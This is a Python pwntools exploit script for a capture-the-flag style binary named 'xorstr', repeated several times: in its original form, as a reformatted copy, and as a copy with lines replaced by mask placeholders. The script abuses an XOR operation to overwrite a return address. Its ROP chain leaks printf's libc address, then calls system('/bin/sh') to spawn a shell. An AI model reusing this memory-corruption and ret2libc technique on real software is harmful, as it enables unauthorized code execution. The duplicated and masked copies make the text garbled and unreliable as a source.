from pwn import *

context.arch = 'amd64'

local = True
ubuntu18 = True

if local:
    sh = process('./xorstr')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = process('./xorstr', env={"LD_PRELOAD" : "./libc.so.6"})
    libc = ELF('./libc.so.6')

sh.recvuntil('Your string:')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
sh.send('a' * 128)

# Leak libc
# result[8:16] = str[8:16] ^ key[8:16]
# return address (rop chain 1) = 0x4009b4 ^ result[8:16]
if ubuntu18:
    printf_got = 0x600e98
else:
    printf_got = 0x600e98 + 1
puts_plt   = 0x400650
main       = 0x40099c

pop_rdi    = 0x400a23
ret        = 0x400619

first_ret = ret ^ 0x4009b4 ^ 0x0101010101010101

rop_chain = flat(
        ret,
        pop_rdi,
        printf_got,
        puts_plt,
        main)

sh.recvuntil('Your string:')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)

msg = sh.recvuntil('Your string:', drop=True)
printfoffset = libc.symbols['printf']
if ubuntu18:
    printfaddress = u64(msg[-7:-1].ljust(8, '\0'))
else:
    printfaddress = u64(msg[-6:-1].rjust(6, '\0').ljust(8, '\0'))
libc.address = printfaddress - printfoffset

print('[+] msg : %s' % msg)
print('[+] printf offset : %s' % hex(printfoffset))
print('[+] printf address : %s' % hex(printfaddress))
print('[+] libc : %s' % hex(libc.address))

raw_input('>')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('a' * 128)

rop_chain = flat(
        pop_rdi,
        libc.search("/bin/sh\x00").next(),
        libc.symbols['system']
        )

sh.recvuntil('Your string:')
raw_input('>')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)

sh.interactive()

f50183d24f4fd949d375ca8e5c8df9d0f50cb8aa
<mask token>

<mask token>
if local:
    sh = process('./xorstr')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = process('./xorstr', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
sh.recvuntil('Your string:')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
sh.send('a' * 128)
if ubuntu18:
    printf_got = 6295192
else:
    printf_got = 6295192 + 1
<mask token>
sh.recvuntil('Your string:')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
<mask token>
if ubuntu18:
    printfaddress = u64(msg[-7:-1].ljust(8, '\x00'))
else:
    printfaddress = u64(msg[-6:-1].rjust(6, '\x00').ljust(8, '\x00'))
<mask token>
print('[+] msg : %s' % msg)
print('[+] printf offset : %s' % hex(printfoffset))
print('[+] printf address : %s' % hex(printfaddress))
print('[+] libc : %s' % hex(libc.address))
raw_input('>')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('a' * 128)
<mask token>
sh.recvuntil('Your string:')
raw_input('>')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
sh.interactive()

<mask token>
context.arch = 'amd64'
local = True
ubuntu18 = True
if local:
    sh = process('./xorstr')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = process('./xorstr', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
sh.recvuntil('Your string:')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
sh.send('a' * 128)
if ubuntu18:
    printf_got = 6295192
else:
    printf_got = 6295192 + 1
puts_plt = 4195920
main = 4196764
pop_rdi = 4196899
ret = 4195865
first_ret = ret ^ 4196788 ^ 72340172838076673
rop_chain = flat(ret, pop_rdi, printf_got, puts_plt, main)
sh.recvuntil('Your string:')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
msg = sh.recvuntil('Your string:', drop=True)
printfoffset = libc.symbols['printf']
if ubuntu18:
    printfaddress = u64(msg[-7:-1].ljust(8, '\x00'))
else:
    printfaddress = u64(msg[-6:-1].rjust(6, '\x00').ljust(8, '\x00'))
libc.address = printfaddress - printfoffset
print('[+] msg : %s' % msg)
print('[+] printf offset : %s' % hex(printfoffset))
print('[+] printf address : %s' % hex(printfaddress))
print('[+] libc : %s' % hex(libc.address))
raw_input('>')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('a' * 128)
rop_chain = flat(pop_rdi, libc.search('/bin/sh\x00').next(), libc.symbols[
    'system'])
sh.recvuntil('Your string:')
raw_input('>')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
sh.interactive()

from pwn import *
context.arch = 'amd64'
local = True
ubuntu18 = True
if local:
    sh = process('./xorstr')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = process('./xorstr', env={'LD_PRELOAD': './libc.so.6'})
    libc = ELF('./libc.so.6')
sh.recvuntil('Your string:')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
sh.send('a' * 128)
if ubuntu18:
    printf_got = 6295192
else:
    printf_got = 6295192 + 1
puts_plt = 4195920
main = 4196764
pop_rdi = 4196899
ret = 4195865
first_ret = ret ^ 4196788 ^ 72340172838076673
rop_chain = flat(ret, pop_rdi, printf_got, puts_plt, main)
sh.recvuntil('Your string:')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
msg = sh.recvuntil('Your string:', drop=True)
printfoffset = libc.symbols['printf']
if ubuntu18:
    printfaddress = u64(msg[-7:-1].ljust(8, '\x00'))
else:
    printfaddress = u64(msg[-6:-1].rjust(6, '\x00').ljust(8, '\x00'))
libc.address = printfaddress - printfoffset
print('[+] msg : %s' % msg)
print('[+] printf offset : %s' % hex(printfoffset))
print('[+] printf address : %s' % hex(printfaddress))
print('[+] libc : %s' % hex(libc.address))
raw_input('>')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('a' * 128)
rop_chain = flat(pop_rdi, libc.search('/bin/sh\x00').next(), libc.symbols[
    'system'])
sh.recvuntil('Your string:')
raw_input('>')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)
sh.interactive()

from pwn import *

context.arch = 'amd64'

local = True
ubuntu18 = True

if local:
    sh = process('./xorstr')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
else:
    sh = process('./xorstr', env={"LD_PRELOAD" : "./libc.so.6"})
    libc = ELF('./libc.so.6')

sh.recvuntil('Your string:')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
sh.send('a' * 128)

# Leak libc
# result[8:16] = str[8:16] ^ key[8:16]
# return address (rop chain 1) = 0x4009b4 ^ result[8:16]
if ubuntu18:
    printf_got = 0x600e98
else:
    printf_got = 0x600e98 + 1
puts_plt   = 0x400650
main       = 0x40099c

pop_rdi    = 0x400a23
ret        = 0x400619

first_ret = ret ^ 0x4009b4 ^ 0x0101010101010101

rop_chain = flat(
        ret,
        pop_rdi,
        printf_got,
        puts_plt,
        main)

sh.recvuntil('Your string:')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)

msg = sh.recvuntil('Your string:', drop=True)
printfoffset = libc.symbols['printf']
if ubuntu18:
    printfaddress = u64(msg[-7:-1].ljust(8, '\0'))
else:
    printfaddress = u64(msg[-6:-1].rjust(6, '\0').ljust(8, '\0'))
libc.address = printfaddress - printfoffset

print('[+] msg : %s' % msg)
print('[+] printf offset : %s' % hex(printfoffset))
print('[+] printf address : %s' % hex(printfaddress))
print('[+] libc : %s' % hex(libc.address))

raw_input('>')
sh.send('b' * 16 + 'a')
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('a' * 128)

rop_chain = flat(
        pop_rdi,
        libc.search("/bin/sh\x00").next(),
        libc.symbols['system']
        )

sh.recvuntil('Your string:')
raw_input('>')
sh.send(p64(pop_rdi) + p64(first_ret) + rop_chain)
sh.recvuntil('What do you want to xor :')
raw_input('>')
sh.send('\x01' * 128)

sh.interactive()
